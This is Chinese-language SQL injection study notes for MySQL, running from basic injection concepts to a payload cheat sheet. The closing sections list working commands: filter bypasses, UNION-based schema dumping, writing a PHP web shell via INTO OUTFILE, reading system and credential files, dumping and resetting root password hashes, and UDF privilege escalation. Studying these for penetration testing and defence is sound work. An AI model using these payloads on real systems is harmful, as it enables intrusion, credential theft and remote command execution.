说明
学习思路,源自lcamry,《MySQL注入天书》
1、SQL注入最简单的原理代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入点在于’ i d ′ , id', id′,id为接收传参的变量,基本思路是在传参中闭合前面的单引号,注释掉后面的单引号。
2、查找注入点的办法
?id=1' #添加单引号就行传参闭合
?id=1' [or/and] '1=2 #使用逻辑与或者逻辑或,判断where注入条件
3、常用注释符号
#
--+ #URL解码后,“+”被解码为“space”
-- # --加空格
/**/等
4、闭合
‘$id’
"$id"
($id)
[$id]等
5、ORDER BY
ORDER BY 用于对结SQL果集按照一个列或者多个列进行排序。默认按照升序对记录进行排序。
# ORDER BY语法
SELECT column_name_1,column_name_2
FROM table_name
ORDER BY column_name_1,column_name_2 ASC|DESC;
#或者使用如下:
ORDER BY 1,2 ASC|DESC; #1等同于column_name_1,2等同于column_name_2
在SQL注入过程中,需要判断注入点的返回值列数,由于对返回值列名称的未知,所以常使用order by column_num的方式进行检查,基本原理是当column_num小于等于返回值列数,输出结果正常,反之SQL执行异常。
6、UNION
UNION用于合并两个或多个SELECT语句的结果集。
需要注意的是:1、UNION前后表字段数量必须相同,字段数量不同会出错;
2、UNION前后表字段的数据类型要相同;
3、当前表执行结果错误,会显示后表的内容。
# UNION语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
# 默认情况UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL。
# UNION ALL语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
# UNION结果集中的列名总是等于UNION 中第一个SELECT 语句中的列名。
7、SQL常用函数
-
select version( ); ——MySQL 版本
select @@version( );
-
select user( ); ——数据库用户名
-
select database( ); ——数据库名
-
select @@datadir ——数据库文件路径
-
select @@basedir ——数据库安装路径
-
select @@version_compile_os ——操作系统版本
-
select load_file('/var/lib/mysql-files/key.txt‘) ——读取文件,使用绝对路径
8、字符串连接
在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
9、常用绕过
出于防御目的,传参在被接收使用前,会对传参的内容进行检查,并对一些异常关键字或字符进行过滤,简单的过滤原则是使用黑名单的方式进行过滤,这也就导致能在某些特殊情况下实现黑名单绕过,达到注入的目的。
1、编码绕过。SQL关键字被过滤。
URL编码、ascii码、hex、base64等
2、双写、双编码绕过。SQL关键字被过滤。
uniounionn、%250b
3、空格过滤
%20 %0a %0c %0b %0d等
4、注释符号“#”过滤
–%0a、–+等
10、利用SQL注入,常用获取信息内容
# 查询权限
select grantee, table_schema, privilege_type FROM information_schema.schema_privileges; # 权限
select user,file_priv from mysql.user where user='root'; # ⽂件权限
# 执⾏系统命令
select do_system('id');
\! bash
# 常⽤SQLi,爆库、爆表
union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables; # 0x7c=“|”
union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
# 读写⽂件
select load_file('/var/lib/mysql-files/key.txt');
select 1,2,"<?php echo shell_exec($_GET['cmd']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
# 查数据库帐号密码
SELECT User,Host,Password FROM mysql.user;
SELECT User,Host,authentication_string FROM mysql.user;
# 修改mysql root密码
UPDATE mysql.user SET Password=PASSWORD('NewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
# 任意⽂件读取
load data local infile "/etc/passwd" into table <test> FIELDS TERMINATED BY '\n';
# 提取数据库帐号密码(可登录mysql)
cat /etc/mysql/debian.cnf
# 所有mysql⽤户的密码HASH
sudo cat /var/lib/mysql/mysql/user.MYD
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
# 通过库提权
locate lib_mysqludf_sys.so # 来⾃sqlmap(linux)
locate lib_mysqludf_sys.dll # windows
show variables like '%plugins%';
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
# 利⽤MSF模块提权(windows)
[mysql]> update mysql.user set host="%";
use exploit/windows/mysql/mysql_mof